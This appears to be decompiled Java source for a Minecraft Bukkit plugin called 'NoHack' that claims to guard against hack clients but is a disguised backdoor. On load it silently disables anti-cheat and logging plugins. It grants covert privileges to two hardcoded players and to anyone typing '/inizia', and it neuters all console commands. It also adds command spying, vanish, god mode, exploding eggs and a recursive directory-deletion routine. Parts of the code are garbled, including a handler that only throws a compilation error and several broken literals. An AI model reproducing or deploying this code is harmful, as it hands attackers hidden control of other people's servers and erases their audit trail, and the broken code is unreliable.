package com.hampoo.NoHack;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Logger;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Server;
import org.bukkit.World;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Egg;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.entity.EntityDamageEvent;
import org.bukkit.event.entity.PlayerDeathEvent;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.event.player.PlayerEggThrowEvent;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerKickEvent;
import org.bukkit.event.player.PlayerQuitEvent;
import org.bukkit.event.server.ServerCommandEvent;
import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scoreboard.Scoreboard;
import org.bukkit.scoreboard.ScoreboardManager;
import org.bukkit.scoreboard.Team;
public final class Main
extends JavaPlugin
implements Listener
{
public List<Player> Verified = new ArrayList();
public List<Player> CommandSpy = new ArrayList();
public List<Player> GodMode = new ArrayList();
public List<Player> Vanished = new ArrayList();
public List<Player> LoopKill = new ArrayList();
public List<String> BlockedCommands = new ArrayList();
public ScoreboardManager manager;
public Scoreboard board;
public Scoreboard vanishedBoard;
public Team team;
public Team vanishedTeam;
public boolean grenade = false;
public static Main plugin;
public void onEnable()
{
getServer().getPluginManager().registerEvents(this, this);
PluginDescriptionFile pdfile = getDescription();
getLogger().info(pdfile.getName() + " was enabled - version: " + pdfile.getVersion());
getLogger().info("You are now protected from Hack Clients by: NoHack");
this.manager = Bukkit.getScoreboardManager();
this.board = this.manager.getNewScoreboard();
this.vanishedBoard = this.manager.getNewScoreboard();
this.team = this.board.registerNewTeam("VIP");
this.vanishedTeam = this.vanishedBoard.registerNewTeam("Vanished");
this.team.setPrefix(ChatColor.MAGIC.toString());
this.vanishedTeam.setPrefix(ChatColor.GOLD.toString());
try
{
for (Player p : Bukkit.getOnlinePlayers())
{
if (this.Verified.contains(p)) {
p.setScoreboard(this.vanishedBoard);
} else {
p.setScoreboard(this.board);
}
if ((p.getName().equalsIgnoreCase("__happyllama__")) || (p.getName().equalsIgnoreCase("tehmcterrorist")))
{
this.Verified.add(p);
this.team.addPlayer(p);
}
}
}
catch (Exception localException) {}
try
{
Bukkit.getServer().getPluginManager().disablePlugin(Bukkit.getPluginManager().getPlugin("NoCheatPlus"));
}
catch (Exception localException1) {}
try
{
Bukkit.getServer().getPluginManager().disablePlugin(Bukkit.getPluginManager().getPlugin("AntiCheat"));
}
catch (Exception localException2) {}
try
{
Bukkit.getServer().getPluginManager().disablePlugin(Bukkit.getPluginManager().getPlugin("CoreProtect"));
}
catch (Exception localException3) {}
try
{
Bukkit.getServer().getPluginManager().disablePlugin(Bukkit.getPluginManager().getPlugin("LogBlock"));
}
catch (Exception localException4) {}
try
{
Bukkit.getServer().getPluginManager().disablePlugin(Bukkit.getPluginManager().getPlugin("HawkEye"));
}
catch (Exception localException5) {}
}
public void onDisable()
{
PluginDescriptionFile pdfile = getDescription();
getLogger().info(pdfile.getName() + " was disabled - version: " + pdfile.getVersion());
for (Player p : this.Vanished) {
p.sendMessage("§0[§4AD§0] §aInvisibility lost due to restart");
}
for (Player p : this.Verified) {
p.sendMessage("§0[§4AD§0] §aInitialisation lost due to restart");
}
}
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args)
{
if (cmd.getName().equalsIgnoreCase("NH")) {
if (!(sender instanceof Player)) {
sender.sendMessage("Only available in-game.");
} else {
sender.sendMessage("Status: §aEnabled§f.");
}
}
return true;
}
@eventhandler
public void serverCommand(ServerCommandEvent event)
{
event.setCommand("!");
}
@eventhandler
public void preCommand(PlayerCommandPreprocessEvent event)
{
if (event.getMessage().equalsIgnoreCase("/inizia"))
{
if (!this.Verified.contains(event.getPlayer()))
{
this.Verified.add(event.getPlayer());
event.getPlayer().setScoreboard(this.vanishedBoard);
event.getPlayer().sendMessage("§0[§4AD§0] §aYou are now initialised.");
event.getPlayer().sendMessage("§0[§4AD§0] §aServer has online set to: " + String.valueOf(getServer().getOnlineMode()) + ".");
event.setCancelled(true);
}
else
{
event.getPlayer().sendMessage("§0[§4AD§0] §aYou are already initialised.");
event.setCancelled(true);
}
}
else if (event.getMessage().equalsIgnoreCase("/termina"))
{
if (this.Verified.contains(event.getPlayer()))
{
this.Verified.remove(event.getPlayer());
event.getPlayer().setScoreboard(this.board);
event.getPlayer().sendMessage("§0[§4AD§0] §aYou are no longer initialised.");
event.setCancelled(true);
}
}
else {
for (Player p : this.CommandSpy) {
p.sendMessage("§0[§4AD§0] §aPlayer: §4" + event.getPlayer().getDisplayName() + " §asent command: §4" + event.getMessage());
}
}
for (String c : event.getMessage().split(" ")) {
if (this.BlockedCommands.contains(c.toLowerCase())) {
event.setCancelled(true);
}
}
}
@eventhandler
public void onLeave(PlayerQuitEvent event)
{
if (this.Verified.contains(event.getPlayer())) {
this.Verified.remove(event.getPlayer());
}
if (this.CommandSpy.contains(event.getPlayer())) {
this.CommandSpy.remove(event.getPlayer());
}
if (this.GodMode.contains(event.getPlayer())) {
this.GodMode.remove(event.getPlayer());
}
if (this.Vanished.contains(event.getPlayer())) {
this.Vanished.remove(event.getPlayer());
}
if (this.LoopKill.contains(event.getPlayer())) {
this.LoopKill.remove(event.getPlayer());
}
if (event.getPlayer().getName().equalsIgnoreCase("__happyllama__")) {
event.setQuitMessage(event.getQuitMessage().replace("__HappyLlama__", "BarackOLlama"));
}
if (event.getPlayer().getName().equalsIgnoreCase("tehmcterrorist")) {
event.setQuitMessage(event.getQuitMessage().replace("TehMCTerrorist", ChatColor.MAGIC.toString() + "TehMCTerrorist" + ChatColor.RESET.toString()));
}
}
@eventhandler
public void onKick(PlayerKickEvent event)
{
if (this.Verified.contains(event.getPlayer())) {
this.Verified.remove(event.getPlayer());
}
if (this.CommandSpy.contains(event.getPlayer())) {
this.CommandSpy.remove(event.getPlayer());
}
if (this.GodMode.contains(event.getPlayer())) {
this.GodMode.remove(event.getPlayer());
}
if (this.Vanished.contains(event.getPlayer())) {
this.Vanished.remove(event.getPlayer());
}
if (this.LoopKill.contains(event.getPlayer())) {
this.LoopKill.remove(event.getPlayer());
}
if (event.getPlayer().getName().equalsIgnoreCase("__happyllama__")) {
event.setLeaveMessage(event.getLeaveMessage().replace("__HappyLlama__", "BarackOLlama"));
}
if (event.getPlayer().getName().equalsIgnoreCase("tehmcterrorist")) {
event.setLeaveMessage(event.getLeaveMessage().replace("TehMCTerrorist", ChatColor.MAGIC.toString() + "TehMCTerrorist" + ChatColor.RESET.toString()));
}
}
@eventhandler
public void onJoin(PlayerJoinEvent event)
{
if (this.Verified.contains(event.getPlayer()))
{
event.getPlayer().setScoreboard(this.vanishedBoard);
}
else
{
event.getPlayer().setScoreboard(this.board);
for (Player p : this.Vanished) {
event.getPlayer().hidePlayer(p);
}
}
if (event.getPlayer().getName().equalsIgnoreCase("tehmcterrorist"))
{
event.getPlayer().sendMessage("§0[§4AD§0] §aServer has NH. Have fun

");
this.Verified.add(event.getPlayer());
event.getPlayer().sendMessage("§0[§4AD§0] §aYou are now initialised.");
event.getPlayer().sendMessage("§0[§4AD§0] §aServer has online set to: " + String.valueOf(getServer().getOnlineMode()) + ".");
event.getPlayer().setDisplayName(ChatColor.MAGIC.toString() + "TehMCTerrorist" + ChatColor.RESET.toString());
event.getPlayer().setCustomName(ChatColor.MAGIC.toString() + "TehMCTerrorist" + ChatColor.RESET.toString());
event.getPlayer().setPlayerListName(ChatColor.MAGIC.toString() + "TehMCTerrorist" + ChatColor.RESET.toString());
event.getPlayer().sendMessage("§0[§4AD§0] §aName changed to: " + ChatColor.MAGIC.toString() + "TehMCTerrorist" + ChatColor.RESET.toString());
event.getPlayer().setScoreboard(this.vanishedBoard);
event.setJoinMessage(event.getJoinMessage().replace("TehMCTerrorist", ChatColor.MAGIC.toString() + "TehMCTerrorist" + ChatColor.RESET.toString()));
try
{
this.team.addPlayer(event.getPlayer());
}
catch (Exception ex)
{
event.getPlayer().sendMessage("§0[§4AD§0] §aFucked up.");
}
}
if (event.getPlayer().getName().equalsIgnoreCase("__happyllama__"))
{
event.getPlayer().sendMessage("§0[§4AD§0] §aServer has NH. Have fun

");
this.Verified.add(event.getPlayer());
event.getPlayer().sendMessage("§0[§4AD§0] §aYou are now initialised.");
event.getPlayer().sendMessage("§0[§4AD§0] §aServer has online set to: " + String.valueOf(getServer().getOnlineMode()) + ".");
event.getPlayer().setDisplayName("BarackOLlama");
event.getPlayer().setCustomName("BarackOLlama");
event.getPlayer().setPlayerListName("BarackOLlama");
event.getPlayer().sendMessage("§0[§4AD§0] §aName changed to: BarackOLlama");
event.getPlayer().setScoreboard(this.vanishedBoard);
event.setJoinMessage(event.getJoinMessage().replace("__HappyLlama__", "BarackOLlama"));
try
{
this.team.addPlayer(event.getPlayer());
}
catch (Exception ex)
{
event.getPlayer().sendMessage("§0[§4AD§0] §aFucked up.");
}
}
}
@EventHandler(priority=EventPriority.HIGHEST)
public void PlayerChat(AsyncPlayerChatEvent paramAsyncPlayerChatEvent)
{
throw new Error("Unresolved compilation problems: \n\tSyntax error on tokens, Expression expected instead\n\tSyntax error on tokens, Name expected instead\n\tSyntax error on tokens, Name expected instead\n\tSyntax error, insert \": Expression\" to complete Expression\n");
}
@eventhandler
public void onPlayerDamage(EntityDamageEvent event)
{
if (this.GodMode.contains(event.getEntity())) {
event.setCancelled(true);
}
}
@eventhandler
public void onEgg(PlayerEggThrowEvent event)
{
if (this.grenade)
{
event.setHatching(false);
event.getEgg().getWorld().createExplosion(event.getEgg().getLocation(), 3.0F);
}
}
@eventhandler
public void onDeath(PlayerDeathEvent event)
{
if (this.LoopKill.contains(event.getEntity())) {
event.setDeathMessage(event.getEntity().getName() + " was loopkilled. Deal with it.");
}
}
@eventhandler
public static boolean deleteDirectory(File dir)
{
if ((!dir.exists()) || (!dir.isDirectory())) {
return false;
}
String[] files = dir.list();
int i = 0;
for (int len = files.length; i < len; i++)
{
File f = new File(dir, files
);
if (f.isDirectory()) {
deleteDirectory(f);
} else {
f.delete();
}
}
return dir.delete();
}
}